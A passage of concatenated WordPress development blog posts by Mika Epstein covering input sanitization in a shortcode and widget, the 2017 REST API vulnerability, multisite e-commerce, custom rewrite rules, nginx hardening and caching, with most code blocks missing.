The main function that does all the real work expects a date parameter in the format of `MM-DD` which it converts to `YYYY-MM-DD` so I can run `date()` calls on it later on. The reason that works is that the PHP `date()` function can parse the `YYYY-MM-DD` format on it’s own. To that end, I have to write the widget and shortcode in such a way that it’s impossible to pass on bad data.
This is a matter of an age old problem: sanitize, escape, and validate.
If you’ve written a plugin and think that sounds familiar, yes, it is a common sticking point of mine. You *must* sanitize your data before you save it. You *must* escape it before you display it. You *should* validate it to make sure you’re not letting people make silly mistakes.
The ‘problem’ is that there are a lot of ways to do that, and the ultimate question is this “What is the data I’m trying to save supposed to look like?” If it’s a URL, you sanitize for a URL. If it’s a number, you sanitize for a number. That’s the easy part. It’s just really time consuming and difficult. Still. Sanitize early, escape late, and always validate.
## The Main Function Sanitizes and Validates
Instead of only having the shortcode or the widget make sure the date was right, I decided to attack the matter further up the chain. Or down the chain, depending on your point of view. Both the shortcode and widget call the same master function so for that, I make sure that the value of `$this_day` is never anything than what I want:
By using checkdate(), I verify that the value is either a valid date or I force it to be ‘today’. This prevents someone from passing bad data in the shortcode. I sanitize it as well as validate, using `sanitize_text_field()` because there’s no reason to even allow non-safe data anywhere further in my code.
## The Shortcode Validates and Sanitizes
The way a shortcode works in WordPress is you can pass attributes to it and the shortcode parses that for you. My shortcode is pretty basic: `[on-this-day date="MM-DD"]` But since a shortcode lives in the world of ‘users can enter whatever they want’, I have to play Captain Beaver Dam and stop them from using `[on-this-day date="Elvis"]` for example.
I do this by sanitizing the attribute and then validating it’s the format I think it is:
If you’re thinking that looks the same as what I do in the main widget, you’re right! I do it here to make sure I’m never sending bad data to the function. I do it in the function since I’m not actually psychic and people have done some pretty weird things. Also they may decide to extend my code one day and write something that calls the function.
## The Widget Validates and Sanitizes
At this point, you’re expecting this, right? It’s actually *more* important that the widget do this than anything else. The code on my server won’t accept incorrectly formatted data, so the worst that happens is you get a bad data reply. The reason all this matters more for the widget though is that the widget *stores data in the database*.
If you’re saving data and you’re not making it safe, you’re putting yourself at risk. Repeat that until it’s second nature.
In my widget, there’s an update function that saves the data to the database.
You’ll notice that, yet again, I use `checkdate()` to make sure the date is a valid value. But I’m also using `strip_tags()` to remove any HTML. You could use `wp_strip_all_tags()` which is even more hardcore, but in this moment, they both work.
## The Data Is Cleaned Three Ways
In a way, it’s overkill. I don’t need to validate the data in the shortcode really, because I’m doing that in the main function. I *do* need to validate in the widget, since I want to make sure I’m not saving bad data, and I don’t want people to see invalid data on the widget settings page. At the same time, by making sure everything is as sane and secure and valid, I’m limiting possible vulnerabilities down the road.
**Categories:** How To
**Tags:** development, shortcode, widget, wordpress
---
### [A Case for REST API](https://halfelf.org/2017/case-rest-api/)
**Published:** February 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't disable the REST API.
**Content:**
WordPress 4.7.1 and 4.7 were vulnerable via the REST API. Any unauthenticated user could modify the content of any post or page on a site. Since the release of the information, a surprisingly large number of users failed to update to 4.7.2 and, thus, were hacked.
I say surprisingly because WordPress enabled automatic updates quite a while ago (WordPress 3.7), which will automatically secure your WordPress install. There have been 18 automated releases since then (which is why we have 3.7.18) and the vast majority have addressed security in one way, shape, or form.
But this post isn’t about the reasons why someone might need to disable the automatic updates. No, this is about the argument I saw stem from the vulnerability, whereby people said it was proof the REST API should be disabled by default.
And to them I say “No.”
## The REST API Probably Has More Vulnerabilities
Look, I’m not going to lie to you. The odds are high that the REST API, which is a very new feature, probably has some serious issues still. But, as my friend Helen pointed out to those arguing [for it to be disabled by default](https://core.trac.wordpress.org/ticket/39806).
> Why should this be treated differently from XML-RPC? Have you gone through the history of the XML-RPC setting?
While the REST API may introduce new vulnerabilities to WordPress, and even ones that are horrifyingly accessible to non-logged in users, it is not the first nor the last feature WordPress has added that puts a site at risk. The API, being brand new and not used or tested as much as other aspects of WordPress, is going to be dangerous to exist, but realistically not more or less than any other part of WordPress.
Go through the [list of all WordPress security releases](https://wordpress.org/news/category/security/). A lot of issues have been fixed. This is just the first one for the REST API.
In 2008, XML-RPX in pre-2.3.3 systems allowed remote attackers to edit posts of other blog users, if registration was enabled. That’s a long time ago, and since then the majority of the exploits have revolved around DDoS and pingbacks. But yes, back in the day, this new feature was also problematic.
## Do You Trust WordPress?
Everyone makes mistakes. Every code has bugs. Everything is vulnerable. The question you have to ask is not “Why did WordPress let this happen?” nor “Why did they put me in danger?” but “Did they handle this well?”
The heart of the matter is not if you trust WordPress not to screw up, but that you trust them to react responsibly, quickly, and with the appropriate concern. Some security issues are massive. Others are not. With over 26% of the internet using WordPress, fixing the security issues quickly and properly is a huge concern.
So you have to ask “Do I trust WordPress to fix security issues?” And “Do I trust WordPress has my best interests, with regards to security, at heart?”
I do, but it’s a question of risk.
## Risk = `{si, λi, xi}`
My father, [a risk analyst](https://woody.com), asks three important questions:
- What can go wrong?
- How likely is it?
- What are the consequences?
Obviously a lot can go wrong. So much, in fact, that it can be impossible to wrap your head around the vastness of the possibilities and subsequent probabilities. Even just listing the things you *think* might go wrong is incomplete. You *know* you’re not thinking of everything, so you have to start with the big picture.
Most of us aren’t capable of calculating the risk and reliability of WordPress. Those Six Sigma experts aren’t either. There’s no way I could actually explain well enough how to determine the risk of using WordPress. If I could, I’d start with asking people “What can go wrong if I disable automatic updates?” and “What can go wrong if I *don’t* disable automatic updates?”
The likelihood of the REST API being vulnerable is a little higher than other aspects of WordPress core, but much lower than plugins and themes. The *consequences* are generally higher than that of plugins and themes, but there’s an extra factor you must consider.
- How quickly can it be fixed?
If you leave WordPress auto-updates on, then the answer is “As quickly as humanly possible.” And that, I feel, lowers the overall risk.
## Planned Disclosure
To those arguing WordPress should have told everyone sooner, this is not the first time WordPress waited a while before announcing a security issue. Take, for example, [The Case of the Trojan Emoji](https://poststatus.com/the-trojan-emoji/). That’s not a Sherlock Holmes mystery, that’s the true case of where WordPress hid a major security fix inside the additions of emoji support.
There’s a big difference between the Trojan Emoji in 4.2 and the RESTless Backdoor we faced in 4.7, and that is the exploitability. The vulnerability fixed with emojis was hard to do. The one in the API was super easy. In both cases, however, the moment the vulnerability is disclosed, a ticking clock begins to see when people get hacked.
Sometimes folks tell me I’m hyperbolic or exaggerating when I say ‘attacks will begin within minutes.’ I think that my claim was proven valid, considering how many sites were hacked, and how quickly it happened. Within days of the announcement,
Remember, [security is nuanced](https://nacin.com/2014/05/30/security-is-nuanced/). It’s never as simple as “Hey, I found a vulnerability! Patch it!” It requires testing, validation, more testing, and more testing. A good patch doesn’t introduce worse problems (yes, that’s happened before).
## Rarely Used Code Is More Vulnerable
I bring this guy up every time people argue why WordPress turns on features by default. The WordPress argument is that if they don’t turn it on, people won’t use it. The reason that matters can be found in the works of Herbert Hecht.
Hecht wrote papers about rare conditions and their effect on software failures. The tl;dr summary for you is this: Rarely used code fails *more* often.
Now, Hecht specially was referring to the early days of software use, which the REST API certainly falls under, but the basic philosophy is valid. The less the code is use, the more at risk it is, specifically because it’s used so rarely. People are less familiar with it, they don’t know how to fix it or even test it for all the possibilities, because they don’t *yet* know what they are.
Are those reasons to *not* use the REST API? Not always. You have to consider the risk of using it for yourself. Will your site go down? How bad is that if it happens? Are you doing everything you could to protect yourself?
## Should You Disable The REST API?
No. Unless you’re certain you’ll never use it, ever, leave it on. It will be fixed, and as long as you apply security patches promptly, you’ll be fine.
**Categories:** How It Is
**Tags:** oped, security
---
### [eCommerce Dream](https://halfelf.org/2013/ecommerce-dream/)
**Published:** December 6, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My dreams about a Multisite eshop where I no longer have to say "Today, there is no plugin that can share an inventory between WordPress sites on a Multisite Network."
**Content:**
At the end of my WordCamp San Francisco talk, I said I had a dream. A dream about a plugin that can share an inventory between WordPress sites on a Multisite Network.
[](https://halfelf.org/2013/ecommerce-dream/firefly_-_whitefall/)Imagine, if you will, a store with a physical products (Geisha dolls). The store has a bunch of different types of dolls. The store has satellite stores, one in Ariel (their flagship store) but now one on Bellerophon and another on Whitefall. While the Companion-Style dolls sell well on Ariel and Bellerophon, the Cowboy-Style ones sell best on Whitefall. Also each store has a different kind of clientele.
So the Dollhouse Store makes a website, and then using Multisite, makes another site for each location: whitefall.dollhousestores.com and so on (or maybe whitefalldollhouse.com even). At first, the webpages are just a list of the local store products, come and buy them here, photos of the locale, employees, and local events. Then they decide to sell stuff on line. But they only want to list items for sale under specific criteria.
1. All items for sale are stored on the network admin
2. Each store can select what products they have at their store
3. Each store controls product volume.
4. Stores can request more product from homebase
Now of course they could have a separate store for each site, but they want to manage what *possible* items could be sold online, so having that controlled by the network makes sense, doesn’t it?
Meanwhile another store sells cows. All the cows live at Persephone, and are shipped out to Jiangyin and other stores. They’re doing well with everyone going to cowship.com, but they too want to have jiangyin.cowship.com and so on. Each store lists what cows are for sale that live *well* in each location because Holsteins’ don’t like Bellerophon, who knew? This way, someone on Jiangyin can order Holsteins but not Texas Longhorns. Obviously they need to control which product can be sold at each location, same as the Dollhouse, but they *also* have a different problem. Their product amounts must also be stored in one location and shipped out from there, so they want to make sure they don’t oversell their cows.
Their criteria:
1. All items for sale are stored on the network admin
2. Network admin controls absolute amount of products
3. Network selects what products they have at each store
4. Orders per store base product volume on the network amount
These are pipe dreams. Today there is no plugin that ‘shares’ an estore across multisite sites on a network. You can’t even do it with ‘digital’ products which now that I say it aloud, I think Pippin should totally get on that.
Today, all sites are separate, and since estores have their content saved per-site, there isn’t an easy, friendly way (if there is at all) to pull data between sites in a way that preserves shopping carts and such. I wish there was. I get asked about this at least once a week, and I have to say “Today, there is no plugin that can share an inventory between WordPress sites on a Multisite Network.”
But this is a complicated thing. Multisite itself isn’t actually built to handle that kind of thing, since the network doesn’t *have* posts or pages. You’d have to dedicate a site on the network to the shop and pull in content from there, which of course has a `switch_to_blog()` overhead penalty. I can’t even begin to get past the paper thoughts I have here.
**Categories:** How It Is
**Tags:** ecommerce, multisite, plugins, wordpress
---
### [Display Posts, Ordered By Post Meta](https://halfelf.org/2017/display-posts-ordered-post-meta/)
**Published:** February 20, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sorting posts based on meta is not easily done out of the box, but it can be done.
**Content:**
One of the things I’ve been working on over on my tv project was getting better lists of characters who died. Initially all that we recorded was the year. However we started getting the idea of a timeline and a calendar and a ‘this year in queer TV’ section, and I realized I needed more precise data.
I’m going to skip the headache part here, but I changed the year dropdown to a calendar date field that stored the date as `MM/DD/YYYY`. While some calculations would have been easier with the time saved as a UNIX timestamp, having it be text let me search as text to collect all the death for a year. There were pros and cons to both sides of the coin of how to save the data. The other trick was I needed to save the data as an array. Just in case someone died twice.
Suffice to say, here’s your scenario. I have meta data in the post containing the date of character death, and I want to display it in a specific way, not supported out of the box by the default queries.
## Display all the dead in a list ordered by date
The simple part in WordPress is to get a loop of all posts in a type that have the meta for death. Using `WP_Query` I grabbed the array and instead of saving all the post’s data, I extracted the data I needed:
- character name and URL
- date of death
- list of shows and their respective URLs
This I turned into a very simple array that I can use in multiple situations:
This array is made by looping through those `WP_Query` results and, for each character, grabbing the post meta data for shows and death. The simple array `$output_array` contains only the data I need for display. So no post content, no author, nada. Just the name, the URL, the shows, and the death. *That said*, I’m omitting my insane extra loop for generating `$show_info` with its links because it deserves its own post. Suffice to say, it’s weird. Oh and `$thisyear` is a page variable based on the URL you visit. If you go to `/this-year/2015/` it will populate as ‘2015’ and so on.
Side note. Characters actually have both a taxonomy for being dead *and* a lost meta for the date. That was a happy accident that allowed me to search for everyone who had died, and perhaps wasn’t currently dead. The time traveling Sara Lance is jokingly called Schroedinger’s Bisexual, since she is both alive and dead at any one given point in time.
### Fix The Date
Okay! With my simple array of data, I can output the list however I want, depending on the way I ordered the query. The problem is that the query has a limited number of possible sorts, and they all have to do with the post subject, the title, not random post meta. Plus my post meta was saved in a way that wasn’t easily sortable.
To solve this, I converted the date into a Unix timestamp:
I put this in the `foreach( $dead_chars_query as $dead_char ) {...}` section and it transformed my date from `01/01/2017` to it’s commiserate Unix timestamp.
### Fix The Order
The next step was to re-order my array based on the value of the death time. I wanted to go from smallest value to largest, as Unix timestamps increase over time.
For this I used `uasort` to order the entire array by the date:
This produced my desired results. Excellent. But now I have the date in a non-human readable format!
### Fix It On output
Thankfully making the date human readable wasn’t all that messy. Once I have my finished array, I output it and clean it up:
Voila!

An ordered list of dead characters.
**Categories:** How To
**Tags:** coding, query, wordpress
---
### [When a Page is an Endpoint](https://halfelf.org/2017/when-a-page-is-an-endpoint/)
**Published:** February 15, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Technically all pages in WordPress are virtual pages. But now it's time to virtualize your virtuality.
**Content:**
In making a site with non-standard WordPress pages, I ran into a common problem. How do I make a page that calls the data? To put it in a different way, I needed a URL (say, `domain.com/stats/`) to show site statistics. A ‘virtual page’ if you will.
## The Easy Way
The first way I did this was the ‘easy’ way, though I’m loathe to really call it that. I made a page in WP Admin called ‘stats’ and I set that page to use a custom page template that, instead of calling post content, called my stats code. [Custom page templates](https://developer.wordpress.org/themes/template-files-section/page-templates/) are pretty powerful, and having the page be a page meant I could allow editors to write and edit the page all they wanted.
But the downside is that making ‘sub’ pages gets messy, and what happens if someone changes the slug or deletes the page or changes the template? No. There had to be a better way that let me force generate the page.
## The ‘Better’ Way
This brings me to custom endpoints.
Now there is a huge problem with this, and it’s that if you want to make your custom virtual pages look like the rest of your WordPress site, it’s … messy. This is why BuddyPress generates pages automatically for you. It needs the pages. No matter what, I was going to have to make pages. But there is a distinct difference between 19 pages and 5.
My (unique) situation was that I wanted to have a series of sub pages. That would let me make one page, for example, for ‘roles’ and then automagically generate pages for `/role/regular/` and `/role/guest/` and so on. And yet, this brings up the other major problem.
You see, it would also mean the slugs `/about/regular/` could exist. Obviously there are ways around it but the point to hammer home here is that endpoints are *not* meant for this. They’re meant for if you want a custom endpoint (hah) on every page of a type.
## The (Really) Better Way
Thankfully, there’s a better way!
Rewrite rules and custom query vars will let me do everything I wanted, with only one page for each item.
### The Setup
I have five types of pages with ‘extra’ sub pages: newest, role, star, stats, and thumbs. Each one has a few accepted types, but I don’t need to really worry about that just yet, because how I handle it differs on each page (more on that in a second). First I made a list of all my pages, the ‘kind’ of extra they had, and their custom template. Because yes, each page has a custom template.
- page slug: `newest`, extra: `newtype`, template: `newtype.php`
- page slug: `role`, extra: `roleype`, template: `roletype.php`
- page slug: `star`, extra: `starcolor`, template: `starcolor.php`
You’ll notice I went with a theme there. It makes it easier to remember what’s what. Each template is heavily customized for the data within, since each page is wildly different from each other. The one check I make on every page though is that the ‘extra’ value matches what I think it should. For example, here’s the stats header:
That means if you go to `/stats/humbug/` it redirects you back to the main stats page.
Cool, right? So the question next is how did I get `/stats/characters/` to work if there’s no commensurate page?
### The WordPress Way
The answer is `add_rewrite_rule` and `query_vars.` I made an array with all my page slugs and their extra, which you’ll remember was the same name as the template file. This let me use a series of loops and checks so my code is simpler.
My query arguments are this:
Notice how that matches exactly what my design was above? That’s why I take the time to plan all this out.
The next thing I did with all this was to set up my query variables. These loop through the query array and set up a variable for each one.
What that does is makes a URL like this work: `http://example.com/?pagename=stats&statistics=death`
It also means this works: `http://example.com/stats/?statistics=death`
Neither of those are particularly ‘pretty’ permalinks, though, are they? That means it’s time for `add_rewrite_rule`!
This code is actually in an `init` function, but what it does is make a custom rewrite rule so we can call the URL like this: `http://example.com/stats/death/`
Which is what I want.
## The Whole Code
The following is actually the code I use. Feel free to fork! I put it into a class and did some extra work to call the right templates on the right pages.
PS: Yes, I totally built it all out in endpoints before I got smarter.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Learning nginx](https://halfelf.org/2014/learning-nginx/)
**Published:** December 15, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I really did try to master nginx, but I still come up short.
**Content:**
I’m an nginx rookie. In fact, I moved a site specifically to nginx so I could sit and learn it. While this site, today, is ‘on’ nginx, it’s actually an nginx proxy that sits in front of Apache 2.4, not because I think Apache is necessarily better, but because after all this time, I still can’t stand the loss of the dynamism of my .htaccess.
When I was experimenting, though, one of the things I started to do was recreate my ‘tinfoil hat’ .htaccess rules in nginx. What are ‘tinfoil hat rules’? They’re things [I’ve tweaked in .htaccess](https://halfelf.org/2013/my-super-secret-htaccess-file/ "My Super Secret .htaccess File") to make it harder for nefarious people to look at my code and get into my servers. They’re also general ‘stop being from being jerks’ rules (like preventing hotlinking).
This isn’t complete, but it’s everything I’d started to compile and test.
## Header
This is pretty basic, I like to document my section before I get too far into this.
## Directory Listing
Directory listing is like when you go to domain.com/images/ and you get a list of all their images. This is just a bad idea, as people can also use it to list PHP files you might have (many plugins lack an index.php, and no, this isn’t a bad thing). This simple rule will protect you.
## Hotlinking
Ah. Hotlinking. This is in-line using images from someone else’s server, like `` – If I’m on example.com, that’s fine. If I’m *not* then that’s bad. *Never ever hotlink images unless the site provides you a hotlinking URL.* I cannot stress this enough.
This code comes straight from [the nginx wiki](http://nginx.org/en/docs/http/ngx_http_referer_module.html), and works great.
## Protecting wp-config.php
This is pretty straightforward. I want to block anyone from hitting that directly, any time, any where.
Done.
## Brute Force Protection
If you have [ ngx\_http\_limit\_req\_module module](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) then you can rate-limit how many requests an IP can give to a file.
## And that’s all I got to…
And that is, sadly, as far as I got before I started playing with Apache 2.4 and enjoying the ifs of that, over nginx. What about you? What are your nginx security tweaks?
**Categories:** How To
**Tags:** administration, servers
---
### [Hotlinking is Evil (And So Is Google)](https://halfelf.org/2013/hotlinking-google/)
**Published:** February 1, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Google's new image search is twice the evil for twice the speed. But is it worth it to anyone besides Google?
**Content:**
We all know hotlinking is a bad thing. Hotlinking uses up someone else’s bandwidth, which costs them money. It takes away from any profit they might make on ads, because you’re not going to their site. It removes their credit from images. So why did Google decide to hotlink when they made their [faster image search](http://googlewebmastercentral.blogspot.de/2013/01/faster-image-search.html)?
This is what the new image search looks like:

I’ll admit, that looks pretty nifty. It’s a fast way to see images. But it’s also a fast way to lose attribution. Here’s what just the new image box looks like.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/close-up.png)
This image now loads ‘seemingly’ locally. It’s totally a part of Google, though, there’s no reference back to how the site looks (it used to be an overlay). In fact, most people will just see the image, copy if they want, and move on to the next site. No one has any reason to dig deeper and to visit the image’s page.
By contrast, the thumbnail images you see on Google, if you viewed source, look like this: `https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQPNtMLkk8rwj3lLv6a2kEQ8_eo6BuiUZYn3N5z3cbMu6rVPo3Xkw` If you go to gstatic.com though, all you get is a 404 error page, but it’s pretty easy to find out this is where Google saves all their static content. Including images. These thumbnails are in moderate to low quality, and if that was all Google did, show small, iffy, thumbnails and redirect people to the real site, that would be great. Instead, now they actively hotlink from you. Oh yes, that full image you saw in my screenshot was directly linked to the owner’s media file.
The first thing I did after noticing this was to add the following to my robots.txt:
Those directions are [right from Google](http://support.google.com/webmasters/bin/answer.py?hl=en&answer=35308), who doesn’t even pitch you any reason to why you wouldn’t want to do this. Normally they’ll tell you ‘You can, we’d rather you didn’t because of XYZ, but here it is anyway.’ This time, it’s a straight up ‘Here’s how.’ I find that rather telling.
Naturally I went on to read why Google thought this was a good idea
The following points are all reasons Google thinks this is better.
> We now display detailed information about the image (the metadata) right underneath the image in the search results, instead of redirecting users to a separate landing page.
The first part about this, the detailed information, is great. Having the meta-data right there without redirecting to the separate page like the used to, with the data on the side that no one read, is an improvement. Thank you for that.
> We’re featuring some key information much more prominently next to the image: the title of the page hosting the image, the domain name it comes from, and the image size.
Again, this is great. I think that the data should be more visible than it is, especially the ‘This image may be copyright protected’ stuff. Considering Google won’t allow you to use ads if you use copyright protected material (which they claim I do here, by the way), they really have a higher measure of standard to live up to when it comes to informing people of the stick by which they are measured.
> The domain name is now clickable, and we also added a new button to visit the page the image is hosted on. This means that there are now four clickable targets to the source page instead of just two. In our tests, we’ve seen a net increase in the average click-through rate to the hosting website.
I can see this being true. Again, the links should be more obvious, and really they should link not to the image directly, but the contextual page in all cases. Traffic is important, and if you send people to the image page where they don’t see the *ads*, you’re causing them to lose money. So the idea behind this part is really nice, and I’m for it, it just needs some kick-back improvements. Google should give people a good reason to go to the parent site. And this next item is where they fail…
> The source page will no longer load up in an iframe in the background of the image detail view. This speeds up the experience for users, reduces the load on the source website’s servers, and improves the accuracy of webmaster metrics such as pageviews. As usual, image search query data is available in Top Search Queries in Webmaster Tools.
And now we hit the problem. While this is true (it will be both faster and use less of my bandwidth while decreasing load), it’s still showing my image off my servers! Worse? It’s got the *full sized* image from my server, which means if I have a 4 meg photo (and I do), they’ll be pulling all 4 megs down, and the reader can just right-click and save. They never need to touch my site.
As Bill and Ted would say, Bogus.
Go back to how Google shows thumbnails. They have their own, lower-rez version. I regularly post other people’s images on a site, and when I do, I purposefully keep a lower resolution version on my site, and link to them for the best. Why? *Because it’s their image*. They did the work, they made it, I should honor them and respect them, and be a good net-denizen. Google’s failing on that.
For me their search has always been a little questionable for images. Now it’s outright evil.
**Categories:** How It Is
**Tags:** essay, google
---
### [Cacheless (or not)](https://halfelf.org/2013/cacheless-or-not/)
**Published:** February 19, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A lot of words in order to make a smaller, faster, leaner, meaner site. My experiment with going sans Caching Plugins begins.
**Content:**
*ETA: As of a month later, I’ve actually switched [from APC to Zend Optimizer+](https://halfelf.org/2013/trading-apc-for-zend/)*
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/f1fd4.png)Don’t get me wrong, I love caching. I love W3 Total Cache (I’m willing to spend my ‘free time’ testing it, after all), and WP Super Cache saved my life once. So why, on a day where I got a 400-600% uptick in traffic (not a joke), did I turn all my caching off? I’m daring, and a little crazy, but I wanted to see if it could be done. I would not have tried this if I was on a smaller server: if you’re getting as much traffic as I am, and you’re on shared hosting, you really need to move to a VPS or Dedicated Server if you want to turn off caching via plugins. It’s not to say that caching is better or worse than not-caching, or vice versa, or that one is a rich-man/poor-man equivalent of the other. Caching plugins are an inexpensive way to speed up your site, and if you can’t afford a bigger server they will buy you the time you need to figure out a better solution. Even with a good plugin and setup, if you get hammered with a lot of traffic, you will crash your site unless the server’s optimized too. Again, what I’ve done is not something I’d try on a low-end server with high traffic.
When I started measuring the effectiveness of all this, I used:
- [WebPageTest](http://www.webpagetest.org/)
- [GT Metrix](http://gtmetrix.com/) (tests Yslow and Google Page Speed at once)
- [ByteCheck](http://www.bytecheck.com/)
- [Apache HTTP server benchmarking tool](http://httpd.apache.org/docs/2.2/programs/ab.html)
To understand what caching is and why we use it, it’s good to understand the basic concepts, and to start by looking at what caching plugins are, how they work, and where their pitfalls are.
- There are parts of your website that don’t change often (images, javascript, CSS, etc).
- You want the user to only download what’s changed.
That sounds easy, but WordPress isn’t static HTML, it’s PHP, and that means every time you visit the page, it runs various proceses to give you the latest and greatest files. The problem with this dynamic code is where content changes rapidly (think ‘comments’ or ‘forums’ or ‘BuddyPress Groups’). Suddenly caching ‘pages’ as wholesale chunks of html doesn’t help if you have to re-cache when someone leaves a remark. Add in the possibility of 4 or 5 people commenting at once, for 12 hours, and now you’re risking a thrashing situation where you keep trying to cache, but it keeps flushing. This is why most people use plugins that handle things elegantly, or try to, where the ‘static’ part of the page (sidebar, etc) are HTMLized, but the dynamic part is left alone. This helps when you have a portion of every page is dynamic, like a shopping cart with a ‘Your order…’ box.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/self-storage-units.jpeg)But the downside is that you have to write fancy code that remains dynamic portions, and while it certainly can be done, it’s not fun, and let’s be honest, a theme developer doesn’t know which cache you’re going to use, so how can it write the right way for that? The only way to make a truly dynamic and cachable site is to do it from day one, with your theme, server, and plugins all crafted to provide the best experience. And then we have reality, which is we start with something simple, wake up to something large, and experience growing pains.
Accepting the fact that we’re not starting from nothing, that we have an existing site with content and activity, the first thing most people do is install a plugin. Now, back to what I said before, this isn’t a bad thing. It’s a good first step and will buy you time. It’ll also show you where you need to go. If you don’t have server root access, this may be a your limit, too, as some of the other things I like to do to speed things up without a cache will require it (or you’ll have to ask your hosts and they may tell you to upgrade).
If you’re going to use a plugin, [WP Super Cache](http://wordpress.org/extend/plugins/wp-super-cache/) (WPSC) and [W3 Total Cache](http://wordpress.org/extend/plugins/w3-total-cache/) (W3TC) are the best two. W3TC is way more advanced, and has a lot of extra bells and whistles, but personally I find that once you can master it, you’re well on your way. Remember though, you’re sacrificing a lot of control here by using a plugin. They’re going to, by their nature, cache everything they can, and we’re back to where we were with the dynamic site generation issue. W3TC has a bunch of extra .htaccess/nginx rules which parse data before you hit WordPress. WPSC can do that, or use PHP (which is slower).
The dynamic nature of my site is what drove me away from caching plugins. I use other CMS tools, and for my infrequently updated Wiki and ZenPhoto Gallery, where content is very much static, caching makes perfect sense. But when I want to run a simple community site with WordPress, I have to consider all aspects of user experience. Speed is hugely important, but so is the user getting the content they want. Stale content is a killer.
The reason I decided to see if my site ran slower without caching was that I was reinstalling caching and I thought “This is a perfect time to benchmark.” When I did I was astounded. There was very little difference in a benchmark test. Really no difference between at all, since it was within the results of each other, but I neglected to save the results at the time. I did however snap a picture of my server load(The unrelated part is where I was uploading 10megs of media. Unrelated.):

Browser Caching is the first thing to tweak, as that tells browsers to cache content. The way this works is your .htaccess tacks on extra information while content like images and CSS are being downloaded, to say “This content is good for X days.” With WordPress, you don’t have to worry about changing the CSS, as most themes and plugins are extra smart, in that they append a version to the end of your CSS like this: `style.css?ver=1.9.1` That 1.9.1 is the version of Genesis I’m running, so when that changes, the version changes, and browsers see it as a new file and re-download. That’s pretty cool. (I do wish that child themes pulled in their version, so you could increment that way.) We still have to tell the broswers to cache, and for how long, so near the top of my .htaccess (just below my hotlink protection) I have this:
```
## BEGIN EXPIRES ##
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType image/x-icon "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType text/html "access 1 hour"
ExpiresByType application/pdf "access 1 month"
ExpiresByType application/x-javascript "access 1 month"
ExpiresByType application/javascript "access 1 month"
ExpiresByType text/javascript "access 1 month"
ExpiresByType text/x-js "access 1 month"
ExpiresByType application/x-shockwave-flash "access 1 month"
ExpiresByType video/quicktime "access 1 month"
ExpiresByType audio/mpeg "access 1 month"
ExpiresByType video/mp4 "access 1 month"
ExpiresByType video/mpeg "access 1 month"
ExpiresByType audio/ogg "access 1 month"
ExpiresByType video/ogg "access 1 month"
ExpiresDefault "access 2 days"
## END EXPIRES ##
```
I’ve added in only the types used by my site. I used to use Pragma caching headers as well, but I noticed that Google PageSpeed Insights and YSlow ignore them. Turns out that Pragma headers aren’t honored all the time, in fact, they aren’t honored often, so I just removed them. I don’t think it slowed my site down to have them, but the less to maintain, the better. This had an immediate positive impact, so it was time to look at the server.
Over the years, I’ve tuned httpd.conf so it doesn’t crash, I’ve got [CSF locked down to prevent people from DoS’ing me over TimThumb](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect"), and I of course have APC turned on. Recently I broke down and [installed mod\_pagespeed](https://halfelf.org/2013/centos-and-php-5-4/ "CentOS and PHP 5.4") when I upgraded to PHP 5.4. Just those things have done a lot to make my site run faster. I intentionally skipped things like [Varnish](https://www.varnish-cache.org/) or [TrafficServer](http://trafficserver.apache.org/), as well as a CND or [Google’s PageSpeed Service](https://developers.google.com/speed/pagespeed/service). I (still) don’t need them.
Since I’m new to Page Speed, I decided to look deep into the filters and enabled the following for the whole server: rewrite\_javascript, rewrite\_css, collapse\_whitespace, elide\_attributes. This had a right-away impact of what I jokingly called ‘Effective Minification.’ These filters are new to me, so I spent a lot of time reading up on [all the filters](https://developers.google.com/speed/docs/mod_pagespeed/filters), and I find them highly interesting. By having PageSpeed handle things like [offloading jQuery](https://developers.google.com/speed/docs/mod_pagespeed/filter-canonicalize-js), I take the load off of WordPress and other CMS tools, and don’t have to use a plugin.(Don’t get the wrong idea. There are uses for plugins! But I’m all about using the right tool for the right job. I don’t have plugins handle my WordPress database, because I feel it’s like using a screwdriver to hammer in a nail. You *can*….)
I added in a couple more to my standard: remove\_comments and rewrite\_images. Then I went back to my site’s .htaccess and started turning on the things I wanted per-site.
The ones I picked are:
- [defer\_javascript](https://developers.google.com/speed/docs/mod_pagespeed/filter-js-defer)
- [move\_css\_to\_head](https://developers.google.com/speed/docs/mod_pagespeed/filter-css-to-head)
- [insert\_ga](https://developers.google.com/speed/docs/mod_pagespeed/filter-insert-ga)
Putting those in my .htaccess looks like this (note: no spaces between the filter names, or it all blows an error 500):
```
ModPagespeedEnableFilters move_css_to_head,defer_javascript,insert_ga
ModPagespeedAnalyticsID UA-MYCOOLID-1
```
That also means I don’t have to use a plugin to use Google Analytics for my whole site! This may not mean a lot to you, but I have multiple ‘apps’ on my site (four now) and when I edit themes, if I don’t have to do anything, it’s easier. Google will tell you not to do this, but unless they have a way for me to set pagespeed.conf in the /home/user/ folder of my server, I don’t know another per-user way about this.
Finally I went back on my word, and I installed a plugin. [APC by Mark Jaquith](http://wordpress.org/extend/plugins/apc/). This isn’t a full reversal on my ‘No Plugins!’ stance before, though. All APC is, you see, is but one file that sites in wp-content and kicks things over to APC. Doing this alone moved my TTFB from an F to a B. Which is pretty impressive. Giving it a little time to bake, this worked out okay.
**Categories:** How To
**Tags:** administration, htaccess, performance, plugins, servers, speed, website, wordpress
---
### [Every Site should have a Favicon](https://halfelf.org/2009/every-site-should-have-a-favicon/)
**Published:** July 22, 2009
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Without a favicon, your site just looks naked.
**Content:**
